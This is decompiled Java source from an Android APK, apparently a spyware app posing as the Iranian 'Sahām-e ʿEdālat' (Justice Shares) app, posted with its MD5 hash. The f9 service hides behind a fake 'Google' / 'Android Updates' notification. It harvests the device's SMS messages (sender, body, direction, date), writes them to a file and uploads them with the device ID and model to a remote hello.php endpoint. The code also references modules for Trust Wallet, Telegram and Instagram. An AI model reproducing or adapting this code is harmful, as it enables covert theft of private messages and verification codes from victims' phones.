سهام عدالت v764.548.753.865版本的 MD5 值为:4a6177d44e3fbd8989019e496c3931e4

以下内容为反编译后的 f9.java 源代码,内容仅作参考


package com.lyufo.play;

import android.app.Notification;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.IBinder;
import anywheresoftware.b4a.BA;
import anywheresoftware.b4a.BALayout;
import anywheresoftware.b4a.keywords.Common;
import anywheresoftware.b4a.keywords.DateTime;
import anywheresoftware.b4a.objects.IntentWrapper;
import anywheresoftware.b4a.objects.NotificationWrapper;
import anywheresoftware.b4a.objects.ServiceHelper;
import anywheresoftware.b4a.objects.collections.List;
import anywheresoftware.b4a.objects.streams.File;
import anywheresoftware.b4a.phone.Phone;
import anywheresoftware.b4a.phone.SmsWrapper;
import anywheresoftware.b4a.samples.httputils2.httputils2service;
import com.pejmannikravan.uploadfile.PNUploadFile;
import java.lang.reflect.Method;
public class f9 extends Service {
    public static Phone _v6;
    public static SmsWrapper _vvv0;
    public static SmsWrapper.Sms _vvv7;
    public static List _vvvv1;
    public static PNUploadFile _vvvv2;
    static f9 mostCurrent;
    public static BA processBA;
    private ServiceHelper _service;
    public Common __c = null;
    public httputils2service _vvvvv0 = null;
    public main _vvvvvvvv3 = null;
    public jmwcx _vvvvvv1 = null;
    public firebasemessaging _vvvvv2 = null;
    public s8 _vvvvvv2 = null;
    public f8 _vvvvvv3 = null;
    public starter _vvvvvv4 = null;
    public f10 _vvvvvv6 = null;
    public f11 _vvvvvv7 = null;
    public uninstall _vvvvvv0 = null;
    public r8 _vvvvv4 = null;
    public aapp _vvvvvvv1 = null;
    public chrome _vvvvvvv2 = null;
    public instagram _vvvvvvv3 = null;
    public playstore _vvvvvvv4 = null;
    public shad _vvvvvvv5 = null;
    public telegram _vvvvvvv6 = null;
    public trustwallet _vvvvvvv7 = null;
    public youtube _vvvvvvv0 = null;

    public static String _service_destroy() throws Exception {
        return "";
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    public static class f9_BR extends BroadcastReceiver {
        @Override
        public void onReceive(Context context, Intent intent) {
            BA.LogInfo("** Receiver (f9) OnReceive **");
            Intent intent2 = new Intent(context, f9.class);
            if (intent != null) {
                intent2.putExtra("b4a_internal_intent", intent);
            }
            ServiceHelper.StarterHelper.startServiceFromReceiver(context, intent2, false, BA.class);
        }
    }

    public static Class<?> getObject() {
        return f9.class;
    }

    @Override
    public void onCreate() {
        super.onCreate();
        mostCurrent = this;
        if (processBA == null) {
            BA ba = new BA(this, (BALayout) null, (BA) null, "com.lyufo.play", "com.lyufo.play.f9");
            processBA = ba;
            if (BA.isShellModeRuntimeCheck(ba)) {
                processBA.raiseEvent2(null, true, "SHELL", false, new Object[0]);
            }
            try {
                Class.forName(BA.applicationContext.getPackageName() + ".main").getMethod("initializeProcessGlobals", new Class[0]).invoke(null, null);
                processBA.loadHtSubs(getClass());
                ServiceHelper.init();
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
        this._service = new ServiceHelper(this);
        processBA.service = this;
        if (BA.isShellModeRuntimeCheck(processBA)) {
            BA ba2 = processBA;
            ba2.raiseEvent2(null, true, "CREATE", true, "com.lyufo.play.f9", ba2, this._service, Float.valueOf(Common.Density));
        }
        if (ServiceHelper.StarterHelper.startFromServiceCreate(processBA, false)) {
            processBA.setActivityPaused(false);
            BA.LogInfo("*** Service (f9) Create ***");
            processBA.raiseEvent(null, "service_create", new Object[0]);
        }
        processBA.runHook("oncreate", this, null);
    }

    @Override
    public void onStart(Intent intent, int i) {
        onStartCommand(intent, 0, 0);
    }

    @Override
    public int onStartCommand(final Intent intent, int i, int i2) {
        if (!ServiceHelper.StarterHelper.onStartCommand(processBA, new Runnable() {
            @Override
            public void run() {
                f9.this.handleStart(intent);
            }
        })) {
            ServiceHelper.StarterHelper.addWaitForLayout(new Runnable() {
                @Override
                public void run() {
                    f9.processBA.setActivityPaused(false);
                    BA.LogInfo("** Service (f9) Create **");
                    f9.processBA.raiseEvent(null, "service_create", new Object[0]);
                    f9.this.handleStart(intent);
                    ServiceHelper.StarterHelper.removeWaitForLayout();
                }
            });
        }
        processBA.runHook("onstartcommand", this, new Object[]{intent, Integer.valueOf(i), Integer.valueOf(i2)});
        return 2;
    }

    @Override
    public void onTaskRemoved(Intent intent) {
        super.onTaskRemoved(intent);
    }

    public void handleStart(Intent intent) {
        BA.LogInfo("** Service (f9) Start **");
        Method method = processBA.htSubs.get("service_start");
        if (method != null) {
            if (method.getParameterTypes().length > 0) {
                processBA.raiseEvent(null, "service_start", ServiceHelper.StarterHelper.handleStartIntent(intent, this._service, processBA));
                return;
            }
            processBA.raiseEvent(null, "service_start", new Object[0]);
        }
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        BA.LogInfo("** Service (f9) Destroy **");
        processBA.raiseEvent(null, "service_destroy", new Object[0]);
        processBA.service = null;
        mostCurrent = null;
        processBA.setActivityPaused(true);
        processBA.runHook("ondestroy", this, null);
    }

    public static List _vvvvvvvv0(List list) throws Exception {
        List list2 = new List();
        list2.Initialize();
        double size = list.getSize();
        Double.isNaN(size);
        int i = ((int) (size / 2.0d)) - 1;
        for (int i2 = 0; i2 <= i; i2++) {
            list2.Add(list.Get(i2));
        }
        return list2;
    }

    public static NotificationWrapper _vvvvvvvv6(String str) throws Exception {
        IntentWrapper intentWrapper = new IntentWrapper();
        intentWrapper.Initialize(IntentWrapper.ACTION_VIEW, "https://google.com");
        intentWrapper.SetComponent("com.android.chrome");
        NotificationWrapper notificationWrapper = new NotificationWrapper();
        notificationWrapper.Initialize2(2);
        notificationWrapper.setIcon("play");
        notificationWrapper.SetInfoNew(processBA, BA.ObjectToCharSequence(str), BA.ObjectToCharSequence("Android Updates ..."), intentWrapper.getObject());
        return notificationWrapper;
    }

    public static String _process_globals() throws Exception {
        _vvv7 = new SmsWrapper.Sms();
        _vvv0 = new SmsWrapper();
        _vvvv1 = new List();
        _vvvv2 = new PNUploadFile();
        _v6 = new Phone();
        return "";
    }

    public static String _service_create() throws Exception {
        _vvvv2.m8(processBA, "pn8");
        mostCurrent._service.StartForeground(1, (Notification) _vvvvvvvv6("Google").getObject());
        return "";
    }

    public static void _service_start(IntentWrapper intentWrapper) throws Exception {
        new ResumableSub_Service_Start(null, intentWrapper).resume(processBA, null);
    }

    public static class ResumableSub_Service_Start extends BA.ResumableSub {
        IntentWrapper _startingintent;
        int limit11;
        f9 parent;
        int step11;
        List _readnewurl = null;
        String _allsms = "";
        String _whosend = "";
        List _halfindexlist = null;
        int _i = 0;

        public ResumableSub_Service_Start(f9 f9Var, IntentWrapper intentWrapper) {
            this.parent = f9Var;
            this._startingintent = intentWrapper;
        }

        @Override
        public void resume(BA ba, Object[] objArr) throws Exception {
            while (true) {
                try {
                } catch (Exception e) {
                    if (this.catchState != 0) {
                    }
                }
                switch (this.state) {
                    case -1:
                        return;
                    case 0:
                        this.state = 1;
                        ServiceHelper serviceHelper = f9.mostCurrent._service;
                        ServiceHelper unused = f9.mostCurrent._service;
                        serviceHelper.AutomaticForegroundMode = 1;
                        continue;
                    case 1:
                        this.state = 16;
                        this.catchState = 15;
                        this.state = 3;
                        continue;
                    case 3:
                        this.state = 4;
                        this.catchState = 15;
                        this._readnewurl = new List();
                        File file = Common.File;
                        File file2 = Common.File;
                        this._readnewurl = File.ReadList(File.getDirInternal(), "datatransportation.txt");
                        this._allsms = "";
                        this._whosend = "";
                        f9._vvvv1.Initialize();
                        f9._vvvv1 = f9._vvv0.GetAll();
                        List list = new List();
                        this._halfindexlist = list;
                        list.Initialize();
                        this._halfindexlist = f9._vvvvvvvv0(f9._vvvv1);
                        continue;
                    case 4:
                        this.state = 13;
                        this.step11 = 1;
                        this.limit11 = this._halfindexlist.getSize() - 1;
                        this._i = 0;
                        this.state = 17;
                        continue;
                    case 6:
                        this.state = 7;
                        f9._vvv7 = (SmsWrapper.Sms) this._halfindexlist.Get(this._i);
                        continue;
                    case 7:
                        this.state = 12;
                        if (f9._vvv7.PersonId != -1) {
                            this.state = 9;
                        } else {
                            this.state = 11;
                            continue;
                        }
                    case 9:
                        this.state = 12;
                        this._whosend = "Receive";
                        continue;
                    case 11:
                        this.state = 12;
                        this._whosend = "Sent";
                        continue;
                    case 12:
                        this.state = 18;
                        StringBuilder sb = new StringBuilder();
                        sb.append(this._allsms);
                        sb.append(Common.CRLF);
                        sb.append(Common.CRLF);
                        sb.append("{");
                        sb.append(Common.CRLF);
                        sb.append("@Lydia_Team:");
                        sb.append(f9._vvv7.Address);
                        sb.append(Common.CRLF);
                        sb.append("Text:");
                        sb.append(f9._vvv7.Body);
                        sb.append(Common.CRLF);
                        sb.append("Status:");
                        sb.append(this._whosend);
                        sb.append(Common.CRLF);
                        sb.append("Date:");
                        DateTime dateTime = Common.DateTime;
                        sb.append(DateTime.Date(f9._vvv7.Date));
                        sb.append(" ");
                        DateTime dateTime2 = Common.DateTime;
                        sb.append(DateTime.Time(f9._vvv7.Date));
                        sb.append(Common.CRLF);
                        sb.append("}");
                        this._allsms = sb.toString();
                        continue;
                    case 13:
                        this.state = 16;
                        File file3 = Common.File;
                        File file4 = Common.File;
                        File.WriteString(File.getDirInternal(), "lydiateam.txt", this._allsms);
                        PNUploadFile pNUploadFile = f9._vvvv2;
                        File file5 = Common.File;
                        File file6 = Common.File;
                        String Combine = File.Combine(File.getDirInternal(), "lydiateam.txt");
                        StringBuilder sb2 = new StringBuilder();
                        sb2.append("http://");
                        sb2.append(BA.ObjectToString(this._readnewurl.Get(0)));
                        sb2.append("");
                        firebasemessaging firebasemessagingVar = f9.mostCurrent._vvvvv2;
                        sb2.append(firebasemessaging._vvv1);
                        sb2.append("/");
                        r8 r8Var = f9.mostCurrent._vvvvv4;
                        sb2.append(r8._vvvv5);
                        sb2.append("/hello.php?response=true&id=");
                        Phone phone = f9._v6;
                        sb2.append(Phone.GetSettings("android_id"));
                        sb2.append("&model=");
                        Phone phone2 = f9._v6;
                        sb2.append(Phone.getModel());
                        sb2.append("");
                        pNUploadFile.m9("", "", Combine, sb2.toString(), "uploaded_file", 1);
                        Common.Sleep(f9.processBA, this, 30000);
                        this.state = 19;
                        return;
                    case 15:
                        this.state = 16;
                        this.catchState = 0;
                        Common.LogImpl("83211299", BA.ObjectToString(Common.LastException(f9.processBA)), 0);
                        f9.mostCurrent._service.StopAutomaticForeground();
                        continue;
                    case 16:
                        this.state = -1;
                        this.catchState = 0;
                        continue;
                    case 17:
                        this.state = 13;
                        int i = this.step11;
                        if ((i > 0 && this._i <= this.limit11) || (i < 0 && this._i >= this.limit11)) {
                            this.state = 6;
                            continue;
                        }
                        break;
                    case 18:
                        this.state = 17;
                        this._i = this._i + 0 + this.step11;
                        continue;
                    case 19:
                        this.state = 16;
                        f9.mostCurrent._service.StopAutomaticForeground();
                        continue;
                }
                if (this.catchState != 0) {
                    throw e;
                }
                this.state = this.catchState;
                f9.processBA.setLastException(e);
            }
        }
    }
}